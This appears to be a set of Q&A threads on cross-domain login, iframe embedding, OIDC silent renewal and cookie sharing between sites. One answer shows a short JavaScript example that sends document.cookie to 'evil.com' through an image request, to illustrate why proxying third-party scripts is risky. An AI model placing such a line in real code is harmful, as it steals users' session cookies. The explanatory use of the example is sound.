We have a requirement to load an internally hosted angular UI from within an external partners secured website. We're using an OIDC auth flow calling to an internal IDP server to retrieve/validate the user tokens.
The problem is we are not able to make custom modifications to the internal IDP server's rules in order to allow the external partners domain as being valid for calling to from within an iframe (Content Security Policy).
This causes us to get an error related to invalid Content Security Policy as the external partners domain is not within the allowed domains list of the CSP. If we serve this UI in an iframe from within an internal company domain (allowed in the CSP) it works just fine.
Assuming we have to load our internal UI from within the partners website inline (iframe or other), and authenticate our users using an oauth pattern are there any viable solutions for this problem?
I understand the CSP and x-frame-option headers are set this way to avoid click-jacking security risks, so not sure what is being asked of us is possible while remaining secure. Initial thought is to possibly put a proxy service between the partners website and our UI and the proxy service will handle the authentication...bypassing the CSP rules...but does not necessarily seem secure, and not sure how to implement that even if so. Any thoughts or ideas would be welcomed. Thanks!
Proxying third-party scripts is a bad idea. Consider the script:
var Img = document.createElement("img");
Img.setAttribute('src', 'http://evil.com?cookie=' + document.cookie);
document.body.appendChild(Img);
Loaded from someone else's domain, the script will not have access to the document.cookie. But after proxying, the browser counts that the script is loaded from your domain, and will send cookies to the evil.com site.
Allowing your site to be embedded into iframe open doors to:
clickjacking: by placing an invisible frame, it allows you to perform actions on behalf of a visitor if he is logged at third-party site.
Phishing: in the case of an iframe, the user does not see the real URL in the address bar. Therefore, an attacker can load an iframe from his domain that looks like a third-party authorization site. Since visitor is not able to see this, he enter login/password at the attackers site.
third-party scripts access to some sensitive user's data such as: geolocation, camera, microphone, speaker, mobile device sensors (accelerometer, gyroscope, ambient-light-sensor, magnetometer, vibrate) etc. See Feature Policy / Permissions Policy how to restrict these.
For using your IDP server for autentificating user on third-party site, you MUST do redirect to your domain, autentificate user on your domainm and redirect user back to the third-party site. To keep auth a JWT token can be used or third-party site can set its own auth cookie. The referrer is used to return back to the partner's page where auth was started. Google's OAuth2 service works in this way.
It is not known what private/financial data your web application is dealing with, but it is unlikely that you want to be responsible for the actions of third parties by making a hole in the security system for them.
Related
I have two domains
Example :
a.com and b.com
I try to implement SSO Cross-domain authentication for these two websites
I refer to this link reference How youtube gets logged in to gmail account without getting redirected? to implement like Gmail and YouTube
I have doubt about that
How to send tokens from one domain to another domain using iframe
How to pass tokens in a secure way
If I use an intermediate domain how to prevent that domain call for accessing cookies value I want to set the cookies in the second domain
Please help me to implement I searched but the sample code is not available in asp.net
have you tried this method?
Using Reverse Proxy
As #David suggested, use a reverse proxy like Nginx or HAPorxy to serve both the applications from the same domain - protocol://host:port. All three things should be equal.
Using cookies instead of LocalStorage
If you use cookies instead of LocalStorage, then host ports do not participate in determining site policy. So two application running on the same host but the different port will share cookie without any extra work. To protect the cookie, use an HTTP-only cookie, same-site cookie.
Using URL to share - IFrame only
If you are using iFrame, then you can use URL to share the token. When the outer window is loading the iFrame, send this information via hash like http://localhost:8081/somepage#token=1234
Using hash will allow the page to send data to an inner page without being sent over the wire.
Using window.postMessage - IFrame only
Using window.postMessage, you can simply pass the required data to the inner window/iFrame. As long as you control both the endpoints, you can easily do cross-domain message sending.
In the end, it really depends on your security requirements, ease-of-maintenance, etc.
The best of this is using oAuth https://oauth.net/ provides a comprehensive definition of this.
There are many open-source implementations of oAuth consumer and server available.
The concept is that a third URL will authenticate and maintain the primary session and pass tokens via URL on redirect. The consumers can utilize tokens to request the server for details directly.
Overall benifit is that you will get implementations via open-source communities in a language of your choice, and you will be able to utilise third-party logins. There are other standards you can look into as well are SAML , OpenID and LDAP and products like shibbobleth,CAS and Azure AD.
I've read that the silent authentication is typically made in a 1px iFrame. What I've been wondering is how the response to the authentication request is passed back from the iFrame to the parent application. Only option i can think of is that the Auth-Server returns some javascript code that runs e.g.
window.top.postMessage('auth', 'thisisthetoken')
But that approach seems a little sloppy to me. So how does it work?
That is the traditional flow for token renewal in Single Page Apps. The initial authentication should be done on a main browser window via a redirect, eg as for Google Sign In or Office 365.
TOKEN RENEWAL LIBRARY USAGE
The oidc client library is commonly used to implement this, enabling the iframe post to be done with very little code.
IFRAME MECHANICS
The main window triggers an OpenID Connect redirect on a hidden iframe. When a response is received, the iframe uses the postMessage API to return an OpenID Connect response to the main window, containing code and state parameters. The main window then exchanges the code for tokens, using a PKCE code verifier that it saved to session storage before triggering the iframe redirect.
BROWSER SUPPORT FOR THIRD PARTY COOKIES
The above flow relies on the Authorization Server's SSO Cookie being sent in the iframe request, but browsers are starting to drop third party cookies to limit tracking - Safari already does this.
Therefore it is now standard to instead manage renewal via a secure cookie issued for the site of the web origin, and to avoid iframe post solutions.
Projects that rely on third party cookies these days will struggle - see this recent answer of mine.
HOSTING PREREQUISITES
In 2021 you are best to use secure SameSite cookies in the browser, since posting tokens between frames is vulnerable to Cross Site Scripting. Ensuring that the web origin of each frame can share a secure cookie via a child / sibling domain is therefore a prerequisite - you cannot really develop a secure web solution these days without it.
Security in the browser is a tricky topic and needs an architectural design - for more info on 2021 web security recommendations, take a look at recent Curity Web Guidance.
WITH TOKENS ONLY
This will work buy is considered very poor security in 2021:
Redirect the whole window to authenticate the user (good)
Save tokens to local storage (bad) - to deal with page reloads - easily exploited by malicious code
Then post tokens between iframes (bad) - can be intercepted by malicious code that adds a listener
I am building a website with user accounts. I want the user's name to be displayed at the top, along with the ability to check their inbox with a dropdown that will be updated and refreshed by AJAX. For a user to log in, they will enter their username and password in another dropdown box powered by AJAX. I will also have a specific page, which could use SSL, which sells items through PayPal and BitPay.
I want to secure this with SSL. However, it's not feasible to make all the pages use SSL because the CDN I plan to use doesn't support SSL at the price I am willing to pay and because I wish to allow users to embed images and YouTube videos, which would be linking to third-party HTTP resources.
So my question: is it possible to allow users to log in through AJAX securely over SSL? (The AJAX request would be secured, but not the page that shows the log in form.) It must then be able to display their account name and edit their account settings over an unsecure connection? How would cookies work with this?
You might get better answers at security.stackexchange.com, but in short: You might have a cookie shared between http and https. But then you should not associate any information to the cookie, which might be abused by an attacker, because the cookie can be sniffed when using http instead of https and then reused by the attacker to hijack the session (and those the identity). So for serious stuff you should have another and different secure (e.g. https-only) cookie. A good source of information is also OWASP, e.g. https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
I have a sharepoint webpart where I have links to go to different web sites to which login is required. Therefore, I think i need to log the users on before redirect them into deep pages in that site, therefore I think i need to set up a cookie to that web site when the web part is loaded (by using the user credentials of the user's active directory information).
How can I achieve this requirement with out opening up a new browser window? (Though I have used a client side script, it pops up a new browser window)
Any help is highly appreciable...
Thanks
If you are referring to "different web sites" as sites having completely different URL's, then it's probably not possible without SSO system.
The reason is that it's impossible to read/write cookies from other domain in web environment, i.e. pre-login the users like you are saying.
If all the sites are inside same domain, like mycompany.com for example, and different sites are in abc.mycompany.com or mycompany.com/subsite, then yes, you can set the cookie. See top section here http://www.15seconds.com/issue/971108.htm
A simple way to implement SSO is by implementing method described later on in same article.
in the "Requesting Cookie from Another Domain". This is not a very secure method though, but can be done if you restrict it properly to specific slave domains. And obviously all the slave sites have to be modified, as with any SSO implementation.
I am doing an ASP.NET website for a client, who wants to make their reports page available via IFRAME on other "reseller" websites.
The reseller websites are providing the same service with different branding.
I need to avoid, where I can, requiring them to implement any code on their webserver to enable this - hence using iframes.
A user would log in to the reseller website, load a page which contains an iframe, which in turn loads the report at the primary site.
As parameters, we would send the reseller id, and their username.
We can use SSL server certificates, but not any federated login (like OpenId) - a business choice of the client.
The question is, how does the primary site verify that the report page really is being requested by the user who loaded the page from the reseller?
In other words, how to authenticate the user across domains, without requiring the reseller to implement code..
Any thoughts would be much appreciated!
Your login form can use some javascript to post the login form to a hidden iframe (you can't use an XMLHTTPRequest because of cross domain security concerns) for each domain that you require a login for.
Be sure to redirect your iframe back to the original domain or you won't be able to fetch the login status out of the iframe due to cross-domain security.
The final trick for IE support is to flip the evil bit and add
P3P: CP="CAO PSA OUR"
to your HTTP response headers. Which tells the browser "I am not going to do anything bad, honest".
http://support.microsoft.com/kb/323752
http://www.w3.org/P3P/
I see no satisfactory way to do this without implementing any code on the reseller site.
Instead, I would require them to send an HTTPS request from the reseller webserver to the primary webserver, passing a unique secret key to identify themselves, as well as the username of their logged-on user.
Once verified on the primary site, this key would then serve as authentication for the reseller, and by extention, their logged-on user.
The response of this request would contain a html fragment string, which the reseller can inject into any page.
This fragment would contain an iframe, which, in turn, would load the report for the logged-on user directly from the primary site, using their username.
This report content would contain a reference to a reseller-specific stylesheet.
With this approach I would say HTTPS is not required in the browser, since both the reseller and their user is authenticated, and if that process happened over HTTPS, we can assume there is no eavesdropper.
In the case where the secret key or the user password got compromised, HTTPS from the browser would make no difference anyway.
I might be missing something, but if the client is authenticated against your server, then it will still be authenticated if you view it through an iframe.
For example, create an HTML page on your server with an iframe to gmail. As long as you're authenticated against gmail in your browser you will see your inbox in that page...